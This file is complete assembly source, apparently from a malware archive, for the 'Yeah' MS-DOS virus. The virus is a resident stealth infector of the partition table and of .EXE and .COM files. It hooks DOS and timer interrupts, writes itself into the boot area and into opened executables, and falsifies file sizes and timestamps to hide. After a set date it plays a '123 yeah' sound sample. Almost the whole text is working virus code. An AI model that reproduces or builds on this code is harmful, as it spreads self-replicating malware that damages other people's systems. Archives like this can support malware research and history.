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vxug-MalwareSourceCode/MSDOS/Virus.MSDOS.Yeah.asm
vxunderground 9432413cf6 mov fix
2022-08-21 04:23:18 -05:00

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;------------------------------------------------------------------------------
;
; Virus Name: Yeah
; Origin: Holland
; Eff Length: 4,096 bytes
; Type Code: PRhE - Parasitic Resident .EXE & partition table infector
;
;------------------------------------------------------------------------------
;
; This program is assembled with TASM V1.01 from Borland International
; (assembing with MASM V5.10 from Microsoft Inc. is also possible).
;
; TASM stealth;
; LINK stealth,,stealth;
;
;------------------------------------------------------------------------------
;
; Interrupt vectors
;
;------------------------------------------------------------------------------
iseg segment at 0
org 8*4
Int8o dw 0 ; interrupt vector 21h
Int8s dw 0
org 1ch*4
Int1Co dw 0 ; interrupt vector 21h
Int1Cs dw 0
org 21h*4
Int21o dw 0 ; interrupt vector 21h
Int21s dw 0
iseg ends
cseg segment public 'code'
assume cs:cseg,ds:cseg,es:cseg
;------------------------------------------------------------------------------
;
; Header of EXE-file
;
;------------------------------------------------------------------------------
VirusSize equ 10d0h ; size of virus
PrgSize equ 72h ; size of prg after the virus
Signature dw 0 ; signature 'MZ'
PartPage dw 0 ; size of partitial page
PageCount dw 0 ; number of pages
ReloCount dw 0 ; number of relocation items
HeaderSize dw 0 ; size of header
MinMem dw 0 ; minimum memory needed
MaxMem dw 0 ; maximum memory needed
ExeSS dw 0 ; initial SS
ExeSP dw 0 ; initial SP
CheckSum dw 0 ; unused ???
ExeIP dw 0 ; initial IP
ExeCS dw 0 ; initial CS
ReloOffset dw 0 ; offset of relocationtable
OverlayNr dw 0 ; number of overlay
ComSize dw -1 ; Size of com-file (-1 for exe)
;------------------------------------------------------------------------------
;
; This procedure is called when starting from an exe-file
;
;------------------------------------------------------------------------------
Main: pushf ; save flags
sub sp,4 ; reserve space far cs:ip
push ax ; save other registers
push ds
push es
sti ; enable interrupts
cmp cs:ComSize,-1 ; com or exe-file
je ExeFile ; -1 : exe-file
ComFile: mov word ptr ds:[6],0fef0h ; set availeble memory to max
mov bp,sp ; set cs:ip on stack for
mov word ptr [bp+8],ds ; returning to the orginal
mov word ptr [bp+6],100h ; program
mov bp,ds ; bp : stacksegment
mov ax,cs ; bx : begin of com-file
add ax,(VirusSize/10h)
mov bx,ax
mov cx,0ff0h ; cx : size of data to move
add ax,cx ; es : buffer for mover and
mov es,ax ; infecting the bootsect.
push cs ; ds : codesegment
pop ds
jmp short InfectBoot ; infect bootsector
ExeFile: mov dx,cs ; Relocation
add dx,(VirusSize/10h)
mov ds,dx
mov cx,ReloCount ; number of relocation items
add dx,HeaderSize ; size of exe-header
mov si,ReloOffset ; offset of 1st relocation item
jcxz NoRelo
NextRelo: lodsw ; offset
mov di,ax
lodsw ; segment
add ax,dx
mov es,ax
mov ax,cs ; relocation factor
add es:[di],ax
loop NextRelo ; next relocation item
NoRelo: mov bp,sp
mov ax,cs ; set cs:ip on stack for
add ax,ExeCS ; returning to the orginal
mov [bp+8],ax ; program
mov ax,ExeIP
mov [bp+6],ax
mov bp,cs ; bp : stacksegment
add bp,ExeSS
mov ax,PageCount ; calculate size of exe-file
mov dx,PartPage ; in paragraphs
add dx,-1
sbb ax,0
mov cl,4
shr dx,cl
inc dx
inc cl
shl ax,cl
add dx,ax
add dx,MinMem ; dx : size of exe-file
mov cx,dx ; cx : size of code and data
sub cx,HeaderSize
mov bx,cs ; bx : start of code and data
mov ds,bx
add bx,(VirusSize/10h)
add bx,dx
mov es,bx ; es : buffer for mover and
sub bx,cx ; infecting the bootsect.
InfectBoot: push bx ; save bx and cx
push cx
mov ax,201h ; read bootsector from disk
xor bx,bx
mov cx,1
mov dx,80h
int 13h
jc BootOk ; error ?
mov si,offset BootSector ; compare with infected code
xor di,di
mov cx,1*BootSize
cld
repe cmpsb
je BootOk ; equal ?
mov di,1beh+8 ; check partitions, we don't
mov cx,4 ; want to overwrite them
NextPartition: cmp word ptr es:[di+2],0
ja SectOk
cmp word ptr es:[di],(VirusSize+1ffh)/200h+1
ja SectOk
cmp word ptr es:[di],0
ja BootOk
SectOk: add di,10h
loop NextPartition
mov si,offset BootSector ; exchange code from bootsector
xor di,di ; with viral code
mov cx,1*BootSize
cld
call Swapsb
push es ; write virus to disk
pop ds
push cs
pop es
mov ax,(VirusSize+1ffh)/200h+300h
mov cx,2
int 13h
push ds
pop es
push cs
pop ds
jc BootOk ; error ?
mov ax,301h ; write bootsector to disk
mov cx,1
int 13h
BootOk: pop cx ; restore bx and cx
pop bx
mov dx,cs ; dx = destenation segment
xor di,di
push es ; push seg:ofs of mover
push di
push cx ; save cx
mov cx,1*MoverSize
mov si,offset Mover
cld ; copy mover-procedure
rep movsb
pop cx ; restore cx
cli ; disable interrupts
retf ; jump to mover
Mover: mov ax,cx ; save cx
mov ds,bx ; ds:si = source
mov es,dx ; es:di = destenation
xor si,si
xor di,di
mov cx,8h ; copy one paragraph
rep movsw
inc bx
inc dx
mov cx,ax ; restore cx
loop Mover ; next paragraph
mov ss,bp ; ss = new stacksegment
sti ; enable interrupts
pop es ; restore registers
pop ds
pop ax
iret ; jump to program
MoverSize equ ($-Mover)
;------------------------------------------------------------------------------
;
; Bootsector startup
;
;------------------------------------------------------------------------------
Bootsector: cli ; disable interrupts
xor bx,bx ; setup stack and ds
mov ds,bx
mov ss,bx
mov sp,7c00h
sti ; enable interrupts
mov ax,ds:[413h] ; get size of base memory
sub ax,(VirusSize+3ffh)/400h; subtract virussize
mov ds:[413h],ax ; store new memory size
mov cl,6 ; calculate segment
shl ax,cl
mov es,ax ; load virus in reserved mem
mov ax,(VirusSize+1ffh)/200h+200h
mov cx,2
mov dx,80h
int 13h
mov bx,offset StartUp ; bx=offset startup
push es ; jump to startup (es:bx)
push bx
retf
BootSize equ ($-Bootsector) ; size of bootsector part
StartUp: cli ; disable interrupts
mov ax,offset Interrupt1C ; hack interrupt 1C
xchg ax,ds:Int1Co
mov cs:OldInt1Co,ax
mov ax,cs
xchg ax,ds:Int1Cs
mov cs:OldInt1Cs,ax
mov cs:OldInt21o,-1
mov cs:OldInt21s,-1
mov cs:Count,-1
sti ; enable interrupts
push cs ; ds=cs
pop es
mov si,7c00h ; di=7c00h (Bootsector)
mov di,offset BootSector ; si=BootSector
mov cx,1*BootSize ; bytes to copy
cld ; copy forward
call Swapsb ; restore orginal boot
mov ax,7c00h ; offset bootsector
push ds ; jump to bootsector
push ax
retf
Interrupt8: push ax ; save registers
push si
push ds
push cs
pop ds
mov si,SampleOffset ; get offset of next bit
dec byte ptr ds:SampleBit
test byte ptr ds:SampleBit,7
jnz OfsOk
inc si
cmp si,offset SampleEnd ; end of sample ?
jb OfsOk ; no, play bit
mov al,34h ; reset int 8 frequency
out 43h,al
xor ax,ax
out 40h,al
out 40h,al
mov ds,ax ; reset int 8 vector
mov ax,cs:OldInt8o
mov ds:Int8o,ax
mov ax,cs:OldInt8s
mov ds:Int8s,ax
inc byte ptr cs:SampleFlag ; set sample ready flag
jmp short ExitInt8 ; end of interrupt
OfsOk: mov SampleOffset,si ; store offset
rol byte ptr ds:[si],1 ; next bit
mov ah,ds:[si] ; get bit value
and ah,1
shl ah,1
in al,61h ; get value of io-port 61h
and al,0fch ; reset last 2 bits
or al,ah ; set bit 2 with sample value
out 61h,al ; write to io-port 61h
ExitInt8: mov al,20h ; end of interrupt signal
out 20h,al
pop ds ; restore registers
pop si
pop ax
iret ; return to program
Interrupt1C: push ds ; save registers
push ax
push bx
xor ax,ax ; interrupts vectors
mov ds,ax
mov ax,ds:Int21o
cmp cs:OldInt21o,ax
jne Changed
mov ax,ds:Int21s
cmp cs:OldInt21s,ax
je Equal
Changed: mov ax,ds:Int21o
mov cs:OldInt21o,ax
mov ax,ds:Int21s
mov cs:OldInt21s,ax
mov cs:Count,182
jmp short NotReady
Equal: dec cs:Count
jnz NotReady
mov ax,cs:OldInt1Co ; restore vector 1C
mov ds:Int1Co,ax ; (This interrupt)
mov ax,cs:OldInt1Cs
mov ds:Int1Cs,ax
mov ax,offset Interrupt21 ; Hack interrupt 21
xchg ax,ds:Int21o
mov cs:OldInt21o,ax
mov ax,cs
xchg ax,ds:Int21s
mov cs:OldInt21s,ax
mov ax,8
mov bx,offset Handle
NextHandle: mov word ptr cs:[bx],0
inc bx
inc bx
dec ax
jnz NextHandle
mov byte ptr cs:Active,-1
NotReady: pop bx
pop ax ; restore registers
pop ds
jmp cs:OldInt1C ; do orginal int 1C
Swapsb: mov al,es:[di] ; exchange two memory bytes
xchg al,ds:[si]
stosb
inc si
loop Swapsb ; next byte
ret ; return
;------------------------------------------------------------------------------
;
; Manipilated functions
;
;------------------------------------------------------------------------------
Functions db 11h ; 1
dw offset FindFCB
db 12h ; 2
dw offset FindFCB
db 30h ; 3
dw offset DosVersion
db 3ch ; 4
dw offset Open
db 3dh ; 5
dw offset Open
db 3eh ; 6
dw offset Close
db 42h ; 7
dw offset Seek
db 45h ; 8
dw offset Duplicate
db 46h ; 9
dw offset Redirect
db 4eh ; 10
dw offset Find
db 4fh ; 11
dw offset Find
db 5bh ; 12
dw offset Open
db 6ch ; 13
dw offset OpenCreate
FunctionCount equ 13
;------------------------------------------------------------------------------
;
; The orginal interrupt 21h is redirected to this procedure
;
;------------------------------------------------------------------------------
DosVersion: push ax
push cx
push dx
push ds
push cs
pop ds
cmp cs:Active,0
je NotActive
mov ah,2ah
call DOS
cmp ActiveYear,cx
jb NotActive
cmp ActiveDate,dx
jb NotActive
cli
xor ax,ax
mov ds,ax
mov ax,offset Interrupt8
xchg ax,ds:Int8o
mov cs:OldInt8o,ax
mov ax,cs
xchg ax,ds:Int8s
mov cs:OldInt8s,ax
mov al,34h
out 43h,al
mov al,80h
out 40h,al
mov al,0
out 40h,al
push cs
pop ds
mov byte ptr SampleFlag,0
mov byte ptr SampleBit,0
mov word ptr SampleOffset,offset SampleData
sti
Delay: cmp byte ptr SampleFlag,0
je Delay
mov byte ptr Active,0
NotActive: pop ds
pop dx
pop cx
pop ax
jmp Old21
FindFCB: call DOS ; call orginal interrupt
cmp al,0 ; error ?
jne Ret1
pushf ; save registers
push ax
push bx
push es
mov ah,2fh ; get DTA
call DOS
cmp byte ptr es:[bx],-1 ; extended fcb ?
jne FCBOk
add bx,8 ; yes, skip 8 bytes
FCBOk: mov al,es:[bx+16h] ; get file-time (low byte)
and al,1fh ; seconds
cmp al,1fh ; 62 seconds ?
jne FileOk ; no, file not infected
sub word ptr es:[bx+1ch],VirusSize
sbb word ptr es:[bx+1eh],0 ; adjust file-size
jmp short Time
Find: call DOS ; call orginal interrupt
jc Ret1 ; error ?
pushf ; save registers
push ax
push bx
push es
mov ah,2fh
call DOS
mov al,es:[bx+16h] ; get file-time (low byte)
and al,1fh ; seconds
cmp al,1fh ; 62 seconds ?
jne FileOk ; no, file not infected
sub word ptr es:[bx+1ah],VirusSize
sbb word ptr es:[bx+1ch],0 ; change file-size
Time: xor byte ptr es:[bx+16h],1fh; adjust file-time
FileOk: pop es ; restore registers
pop bx
pop ax
popf
Ret1: retf 2 ; return
Seek: or bx,bx ; bx=0 ?
jz Old21 ; yes, do orginal interrupt
push bx
call FindHandle
pop bx
jc Old21
Stealth: or al,al ; seek from top of file ?
jnz Relative ; no, don't change cx:dx
add dx,VirusSize ; change cx:dx
adc cx,0
Relative: call DOS ; Execute orginal int 21h
jc Ret1 ; Error ?
sub ax,VirusSize ; adjust dx:ax
sbb dx,0
jmp short Ret1 ; return
Close: or bx,bx ; bx=0 ?
je Old21 ; yes, do orginal interrupt
push ax
push cx
push dx
push si
push ds
push cs ; ds=cs
pop ds
push bx
call FindHandle
mov si,bx
pop bx
jc NotStealth
mov word ptr ds:[si],0
call UpdateHeader
NotStealth: pop ds ; restore registers
pop si
pop dx
pop cx
pop ax
Not2: jmp short Old21 ; continue with orginal int
Interrupt21: push bx ; after an int 21h instruction
push cx ; this procedure is started
mov bx,offset Functions
mov cx,FunctionCount
NxtFn: cmp ah,cs:[bx] ; search function
je FunctionTrap
add bx,3
loop NxtFn
pop cx ; function not found
pop bx
Old21: jmp cs:OldInt21
FunctionTrap: push bp ; function found, start viral
mov bp,sp ; version of function
mov bx,cs:[bx+1]
xchg bx,[bp+4]
mov cx,[bp+10]
xchg cx,[bp+2]
pop bp
popf
ret
Duplicate: call DOS
jc Error
pushf
push bx
call FindHandle
jc Ret3
mov bx,ax
call StoreHandle
Ret3: pop bx
popf
jmp Ret2
Redirect: call DOS
jc Error
pushf
push bx
push cx
xchg bx,cx
call FindHandle
jc Ret4
mov cs:[bx],cx
Ret4: pop cx
pop bx
popf
jmp Ret2
OpenCreate: or al,al ; extended open/create function
jne Old21 ; no, do orginal interrupt 21
push dx ; save dx
mov dx,si ; check extension of filename
call CheckName
pop dx ; retore dx
jc Old21 ; exe or com-file?
jmp short ExtensionOk ; yes, infect file or use
; stealth
Open: call CheckName ; exe or com-file ?
jc Old21 ; no, do orginal int 21
ExtensionOk: call DOS ; do interrupt 21
jnc NoError ; error ?
Error: jmp Ret2 ; yes, return and do nothing
NoError: pushf ; save registers
push ax
push bx
push cx
push dx
push ds
push cs
pop ds
mov bx,ax ; bx = file handle
mov ax,4400h ; get device information
call DOS
jc PopRet ; error ?
test dx,80h ; character device
jnz PopRet ; yes, return and do nothing
call EndOfFile ; get file size
or ax,dx ; 0 ?
jnz FileExists ; no, file already existed
FileCreated: call HandleFree
jc PopRet
mov ah,2ah
call DOS
add dh,3
cmp dh,12
jbe DateOk
inc cx
sub dh,12
DateOk: mov ActiveYear,cx
mov ActiveDate,dx
mov ah,40h ; write virus to file
mov cx,VirusSize
call Zero2
jc NoVir ; error ? yes, return
xor ax,cx ; entire virus written ?
jnz NoVir ; no, return
call StoreHandle
jmp short PopRet ; return
FileExists: call TopOfFile ; go to top of file
call HandleFree
jc PopRet ; no, do nothing
call ReadHeader ; read exe-header
jc NoVir ; error ?
xor ax,cx ; entire header read
jne NoVir ; no, not infected
cmp Signature,5a4dh ; signature = 'MZ' ?
jne NoVir ; no, not infected
cmp HeaderSize,ax ; headersize = 0 ?
jne NoVir ; no, not infected
cmp CheckSum,0DEADh ; checksum = DEAD hex
jne NoVir ; no, not infected
call StoreHandle
mov dx,VirusSize ; seek to end of virus
jmp short Infected
NoVir: xor dx,dx
Infected: xor cx,cx ; go to end of virus if file
mov ax,4200h ; is infected
call DOS
PopRet: pop ds ; restore registers
pop dx
pop cx
pop bx
pop ax
popf
Ret2: retf 2 ; return
;------------------------------------------------------------------------------
EndOfFile: mov ax,4202h ; go to end of file
jmp short Zero1
TopOfFile: mov ax,4200h ; go to top of file
Zero1: xor cx,cx
jmp short Zero2
WriteHeader: mov ah,40h ; write exe-header to file
jmp short Hdr
ReadHeader: mov ah,3fh ; read exe-header from file
Hdr: mov cx,1eh
Zero2: xor dx,dx
DOS: pushf ; call orginal interrupt
call cs:OldInt21
ret
FindHandle: push ax
push cx
mov ax,bx
mov bx,offset Handle
mov cx,8
NotFound: cmp ax,cs:[bx]
je Found
inc bx
inc bx
loop NotFound
stc
Found: pop cx
pop ax
ret
HandleFree: push bx
xor bx,bx
call FindHandle
pop bx
ret
StoreHandle: push bx
push bx
xor bx,bx
call FindHandle
pop cs:[bx]
pop bx
ret
CheckName: push ax ; check for .exe or .com
push cx ; save registers
push si
push di
xor ah,ah ; point found = 0
mov cx,100h ; max length filename = 100h
mov si,dx ; si = start of filename
cld
NxtChr: lodsb ; get byte
or al,al ; 0 ?
je EndName ; yes, check extension
cmp al,'\' ; \ ?
je Slash ; yes, point found = 0
cmp al,'.' ; . ?
je Point ; yes, point found = 1
loop NxtChr ; next character
jmp short EndName ; check extension
Slash: xor ah,ah ; point found = 0
jmp NxtChr ; next character
Point: inc ah ; point found = 1
mov di,si ; di = start of extension
jmp NxtChr ; next character
EndName: cmp ah,1 ; point found = 0
jne NotExe ; yes, not an exe-file
mov si,di ; si = start of extension
lodsw ; first 2 characters
and ax,0dfdfh ; uppercase
mov cx,ax
lodsb ; 3rd character
and al,0dfh ; uppercase
cmp cx,04f43h ; extension = .com ?
jne NotCom
cmp al,04dh
je ChkRet
NotCom: cmp cx,05845h ; extension = .exe ?
jne NotExe
cmp al,045h
je ChkRet
NotExe: stc ; set carry flag
ChkRet: pop di ; restore registers
pop si
pop cx
pop ax
ret ; return
UpdateHeader: mov ax,4200h ; position read/write pointer
xor cx,cx ; at the end of the virus
mov dx,VirusSize
call DOS
call ReadHeader ; read orginal exe-header
cmp Signature,5a4dh
je InfectExe
InfectCom: mov Signature,5a4dh
mov ReloOffset,01ch
mov OverlayNr,0
mov ExeSS,(VirusSize-100h)/10h
mov ExeSP,0fffeh
call EndOfFile
sub ax,VirusSize
sbb dx,0
mov ComSize,ax
mov cx,10h
div cx
sub dx,1
mov dx,0ff2h+20h
sbb dx,ax
mov MinMem,dx
jmp WriteIt
InfectExe: mov ComSize,-1
mov ax,(VirusSize/10h)
add ax,HeaderSize
add ExeSS,ax
add MinMem,20h
add MaxMem,20h
jnc MaxOk
WriteIt: mov MaxMem,0ffffh
MaxOk: mov ReloCount,0
mov HeaderSize,0
mov CheckSum,0DEADh
mov ExeCS,0
mov ExeIP,offset Main
call EndOfFile
mov cx,200h
div cx
mov PartPage,dx
add dx,-1
adc ax,0
mov PageCount,ax
call TopOfFile
call WriteHeader ; write header at the top of
jc InfErr ; the virus
mov ax,5700h
call DOS
mov ax,5701h
or cl,1fh
call DOS
InfErr: ret
;------------------------------------------------------------------------------
;
; Data to generate the 123 yeah sound
;
;------------------------------------------------------------------------------
SampleData db 07dh,075h,05fh,0ffh,0ffh,0ffh,0ffh,0a0h,03fh,007h,0f8h,03ch,007h,0e0h,07fh,003h
db 0c0h,0f8h,00fh,0c0h,0f0h,07ch,00fh,0c0h,0f8h,0f0h,01fh,081h,0ffh,081h,0fch,00ch
db 07eh,007h,0f0h,071h,0f0h,03fh,007h,00fh,083h,0f0h,071h,0f8h,03fh,007h,01fh,003h
db 0e0h,0e3h,0e0h,07ch,000h,0fch,00fh,080h,03fh,003h,0e0h,01fh,0c0h,0fch,007h,0f0h
db 03fh,003h,0f8h,00fh,0c0h,0feh,003h,0f0h,07fh,001h,0f8h,03fh,0c0h,07eh,007h,0fch
db 03fh,001h,0f8h,01eh,01fh,002h,03eh,00fh,0c0h,03fh,007h,0f0h,01fh,007h,0fch,00fh
db 082h,0ffh,00fh,086h,00fh,038h,03eh,004h,03ch,01fh,008h,03eh,01fh,008h,03eh,00fh
db 000h,07ch,00fh,080h,07ch,007h,0e0h,078h,0e1h,0f0h,0f0h,0e1h,0f0h,0f0h,0f0h,0f1h
db 0e1h,0f0h,0e1h,0e1h,0f0h,0e3h,0c3h,0f0h,0cfh,007h,0f0h,01eh,00fh,0f0h,03eh,01eh
db 078h,03ch,01ch,078h,038h,03ch,078h,078h,07ch,070h,0f0h,078h,0e1h,0c0h,070h,0c3h
db 058h,061h,08eh,078h,0e3h,01ch,071h,0c6h,03ch,0e3h,08eh,030h,0e7h,01ch,071h,0c6h
db 038h,0e1h,08eh,038h,0e3h,09ch,071h,0c7h,01ch,0f1h,0c7h,018h,0e3h,007h,038h,0e7h
db 00fh,000h,0efh,00fh,001h,0e6h,00fh,0c1h,0e3h,01eh,003h,0e3h,08eh,0e1h,0dfh,087h
db 0e1h,0c3h,0c6h,070h,07fh,003h,0f0h,073h,0f0h,03eh,007h,0ech,007h,0e0h,078h,070h
db 07eh,00fh,00fh,007h,0c2h,063h,0e0h,07eh,008h,0f8h,01fh,080h,03eh,003h,0f0h,01fh
db 080h,0fch,007h,0f0h,03fh,001h,0f8h,00fh,0c0h,0feh,003h,0f0h,01fh,0c0h,0f8h,01fh
db 0e0h,07ch,01fh,0f0h,03eh,00fh,080h,01fh,00fh,0f0h,01fh,007h,0d0h,00fh,007h,0c3h
db 00fh,007h,082h,00fh,007h,0c0h,00fh,007h,0c3h,00fh,007h,080h,00fh,007h,00ah,01fh
db 00fh,08eh,01eh,01eh,00eh,03ch,01eh,01ch,03ch,03ch,018h,078h,07ch,018h,0f0h,078h
db 0f1h,0f0h,0f0h,0e1h,0e1h,0e0h,0c3h,0c3h,0e1h,0c7h,083h,0c3h,08fh,00fh,003h,01eh
db 01eh,00eh,01ch,03eh,01ch,078h,078h,038h,0f0h,0f0h,031h,0e1h,0ech,063h,0c3h,0c8h
db 0c7h,087h,0f1h,08fh,00ch,0e3h,01eh,01bh,0c7h,01ch,027h,08eh,038h,047h,01ch,079h
db 08eh,038h,071h,01eh,038h,0f2h,01ch,070h,0d6h,038h,0f1h,0c0h,038h,0f1h,0e0h,078h
db 001h,0e4h,07dh,0f0h,0e0h,018h,018h,0f6h,03ch,088h,070h,01fh,0ech,078h,006h,004h
db 03fh,087h,0f2h,01ch,083h,0fbh,01fh,0e1h,0f8h,007h,0f0h,0ffh,0c3h,0f8h,003h,0c0h
db 0ffh,001h,0f8h,007h,080h,03fh,001h,0e0h,00ch,086h,07ch,063h,0c0h,01fh,060h,0fch
db 023h,080h,038h,003h,0e0h,038h,0c0h,018h,0c7h,0f8h,0c7h,000h,000h,001h,0c7h,0b8h
db 060h,008h,006h,01fh,0c7h,018h,002h,030h,00eh,03ch,01ch,000h,000h,001h,0f8h,01ch
db 001h,087h,081h,0e1h,080h,0cch,006h,000h,0c6h,060h,000h,008h,007h,080h,000h,020h
db 0e2h,000h,000h,020h,008h,008h,063h,0ech,004h,023h,024h,062h,08ch,0abh,052h,02dh
db 0a8h,004h,09bh,034h,0a5h,0c6h,092h,0b4h,0a6h,099h,012h,0c1h,09dh,0a0h,02ch,0dbh
db 034h,0cdh,0a8h,044h,098h,0f6h,024h,003h,07fh,0a0h,040h,01bh,0feh,000h,00bh,0ffh
db 080h,001h,0ffh,0c0h,000h,0ffh,0f0h,000h,07fh,0f8h,000h,03fh,0f8h,000h,03fh,0f0h
db 000h,03fh,0f8h,000h,03fh,0f0h,000h,07fh,0c0h,003h,0ffh,0c0h,003h,0ffh,000h,005h
db 0feh,04eh,01dh,0e0h,031h,0ffh,000h,0c7h,0feh,000h,01fh,0feh,000h,03fh,0feh,000h
db 03fh,0ffh,080h,03fh,0ffh,000h,047h,0f9h,082h,007h,0e7h,08ch,00fh,09fh,070h,03eh
db 07fh,0c0h,071h,0bfh,000h,0e7h,07ch,003h,09fh,0f8h,00eh,03fh,0e0h,018h,0f7h,0c0h
db 073h,0ffh,001h,0c7h,0fch,003h,00eh,0f8h,00eh,03fh,0e0h,018h,06fh,0c0h,070h,09fh
db 080h,0e3h,07eh,003h,0c6h,0fch,007h,083h,0f8h,00eh,007h,0f0h,01ch,06fh,0c0h,078h
db 01fh,0c0h,0f1h,07fh,001h,0e0h,0ffh,003h,0c1h,0feh,003h,083h,0fch,007h,007h,0f8h
db 00fh,00fh,078h,00eh,00eh,0f8h,01eh,01eh,0f0h,01eh,03ch,0f0h,01ch,03dh,0e1h,05ch
db 039h,0e1h,018h,07bh,0c2h,038h,073h,0c3h,038h,0f3h,086h,038h,0e7h,086h,070h,0e3h
db 086h,070h,0e3h,084h,070h,0e3h,086h,070h,0e7h,08ch,070h,0e7h,08eh,070h,0e3h,086h
db 071h,0c3h,086h,078h,0e3h,080h,079h,0e3h,082h,038h,0f1h,0c3h,01ch,0f9h,0c3h,01ch
db 078h,0c1h,01eh,078h,0e1h,08fh,03ch,070h,08fh,03ch,030h,067h,08eh,038h,073h,086h
db 018h,07bh,087h,08eh,03ch,0e3h,08fh,038h,060h,0e7h,08ch,038h,0f3h,087h,00eh,078h
db 0c3h,01eh,070h,070h,0e7h,086h,021h,0e7h,007h,08ch,078h,00eh,03eh,0e0h,0f1h,0cfh
db 000h,0f1h,0e7h,007h,01ch,078h,0c7h,01eh,078h,070h,0c7h,08eh,030h,067h,0c7h,08eh
db 018h,0f3h,007h,070h,07ch,079h,0c1h,019h,033h,004h,0e3h,0cfh,003h,087h,03ch,070h
db 0f1h,0c7h,00eh,03ch,0f1h,0e1h,087h,09ch,038h,061h,0e7h,08fh,01ch,03fh,087h,03ch
db 00fh,0f3h,0c3h,086h,03ch,0f0h,018h,05fh,03eh,030h,0f1h,087h,0c6h,00fh,0f0h,0e3h
db 0c7h,01fh,00eh,03ch,071h,087h,08eh,01fh,018h,079h,0c3h,08fh,01ch,01eh,018h,0f1h
db 0e0h,007h,0cch,01eh,038h,071h,0e0h,0c7h,0c6h,01ch,07ch,0e0h,01ch,078h,07fh,010h
db 07fh,0e0h,018h,0e1h,0cfh,018h,0e1h,0c0h,038h,0e7h,0c0h,01ch,079h,087h,038h,023h
db 0ech,018h,0f1h,082h,078h,003h,0c6h,018h,07bh,0c1h,0f8h,001h,0cfh,018h,079h,0c1h
db 00eh,038h,073h,0ddh,019h,0f1h,007h,03ch,070h,0e7h,008h,078h,0c3h,00eh,078h,023h
db 08eh,018h,073h,0c7h,09eh,030h,0c3h,08eh,018h,0f1h,0c7h,00ch,070h,0e3h,08eh,03ch
db 071h,0c3h,01ch,038h,0e1h,08fh,01ch,070h,0c7h,08eh,038h,061h,0c7h,01eh,038h,0e1h
db 08fh,01ch,071h,0e7h,08ch,038h,0e3h,0c6h,01ch,078h,0e1h,00eh,01ch,078h,0c7h,08eh
db 03ch,031h,0c3h,08fh,028h,070h,0e3h,086h,01ch,038h,0f1h,087h,00eh,038h,071h,0c3h
db 08fh,01ch,078h,0e1h,0c3h,00eh,01ch,078h,0e1h,0c3h,08eh,01ch,078h,071h,0c1h,08fh
db 08fh,0f8h,03dh,0f8h,018h,007h,0feh,002h,007h,0feh,006h,003h,0ffh,083h,0c1h,0ffh
db 0c1h,081h,0f7h,0d1h,0c0h,0ffh,0c0h,0c1h,0f3h,0e1h,0c1h,0f7h,0e0h,0c1h,0e3h,0e1h
db 0c1h,0e3h,0c1h,0c1h,0e3h,0c3h,083h,0c7h,083h,083h,0c7h,087h,007h,08fh,086h,00fh
db 09eh,01ch,01eh,01ch,03ch,01ch,03ch,038h,078h,038h,0f0h,0f8h,0e0h,0f1h,0f1h,0c1h
db 0e1h,0f3h,083h,087h,0deh,006h,00fh,03eh,01ch,03ch,07ch,038h,07ch,0f8h,060h,0ffh
db 0c7h,083h,087h,087h,083h,00fh,00fh,087h,01fh,01fh,007h,09fh,01eh,007h,087h,00fh
db 00fh,00fh,00fh,00eh,01eh,01eh,01ch,01eh,03eh,00ch,03ch,03eh,00ch,03ch,03eh,01ch
db 01ch,07ch,03ch,038h,0f8h,078h,0f0h,0f0h,0f0h,0f1h,0f1h,0c1h,0f1h,0e3h,083h,0e1h
db 0c0h,047h,0c7h,0c1h,08fh,00fh,086h,01eh,00fh,018h,078h,01ch,061h,0fch,071h,08eh
db 071h,0c6h,031h,0c7h,030h,0c7h,018h,0e3h,08ch,0e3h,09eh,023h,08eh,078h,00eh,039h
db 0c0h,078h,07fh,0e1h,0e0h,0f9h,0c3h,080h,0f3h,00fh,003h,0cch,03ch,0cfh,010h,073h
db 01eh,0e0h,0c6h,07dh,007h,001h,0fch,004h,041h,0f3h,080h,0b1h,0eeh,040h,067h,01ch
db 039h,09eh,03ch,0e6h,038h,003h,09ch,063h,00eh,079h,087h,00dh,0c7h,00ch,007h,08eh
db 018h,00fh,09eh,006h,01fh,01fh,00ch,03eh,03eh,006h,03ch,01ch,01ch,07eh,03ch,038h
db 03eh,038h,07ch,07ch,060h,070h,079h,081h,0e0h,0e2h,063h,0c1h,0c1h,0c3h,087h,0c7h
db 087h,007h,03fh,00eh,00ch,0ceh,03eh,033h,038h,078h,07ch,0e0h,0e0h,0f9h,0e3h,083h
db 0f1h,085h,0cfh,0e6h,007h,01fh,098h,01ch,07eh,020h,070h,0fch,031h,099h,0d8h,0c6h
db 067h,063h,01bh,09dh,08ch,00eh,07bh,030h,079h,0e0h,080h,0fbh,0cch,003h,0e7h,030h
db 00fh,09ch,0c0h,03eh,033h,000h,0fch,0ceh,003h,0f3h,098h,00dh,0ceh,060h,037h,039h
db 080h,0dch,0e7h,001h,073h,09ch,007h,0ceh,070h,01fh,01ch,0c0h,03eh,073h,000h,0f1h
db 0cch,001h,0cfh,038h,006h,03eh,0e0h,00ch,0ffh,098h,043h,0feh,061h,00fh,0f9h,084h
db 077h,0f2h,010h,08fh,0cch,003h,03fh,091h,000h,07fh,002h,013h,0fch,0c8h,047h,0fbh
db 030h,00ch,0e6h,00ch,00dh,0dch,020h,099h,0b8h,0cch,013h,0e3h,038h,08dh,08ch,0e1h
db 099h,03bh,0d8h,099h,0bfh,0ech,0c4h,07fh,09ch,0c8h,0ceh,07eh,004h,02fh,0f9h,000h
db 027h,0f7h,020h,01bh,0ffh,0c0h,00eh,0f7h,060h,011h,0ffh,0c0h,006h,0ffh,080h,001h
db 0feh,0c4h,066h,0fch,0d0h,011h,0ddh,0c4h,067h,027h,033h,0fch,0cch,046h,066h,072h
db 000h,0cfh,0eeh,0c0h,00fh,077h,030h,019h,09fh,0e0h,000h,0dfh,0d8h,011h,01ch,0cch
db 0cch,046h,067h,073h,011h,099h,09ch,0cch,0e6h,062h,033h,03bh,011h,08dh,0feh,0c4h
db 003h,07fh,0b9h,080h,08ch,0f6h,062h,000h,03dh,0dch,000h,007h,0fbh,010h,019h,0bfh
db 0e2h,046h,007h,033h,0b1h,008h,06eh,063h,031h,09fh,0f0h,000h,067h,073h,011h,099h
db 0cfh,033h,030h,030h,0d9h,098h,080h,03fh,0fch,000h,04fh,0efh,073h,030h,018h,07fh
db 0fch,000h,019h,0feh,000h,037h,0ffh,080h,000h,037h,08eh,0f9h,000h,003h,0ffh,080h
db 006h,0ffh,0f0h,000h,01eh,0f1h,0dbh,080h,000h,037h,0f0h,000h,027h,0f3h,040h,04eh
db 0e7h,000h,04fh,0c6h,000h,0dfh,0ceh,080h,09dh,0cch,001h,09fh,0c4h,000h,09fh,0fch
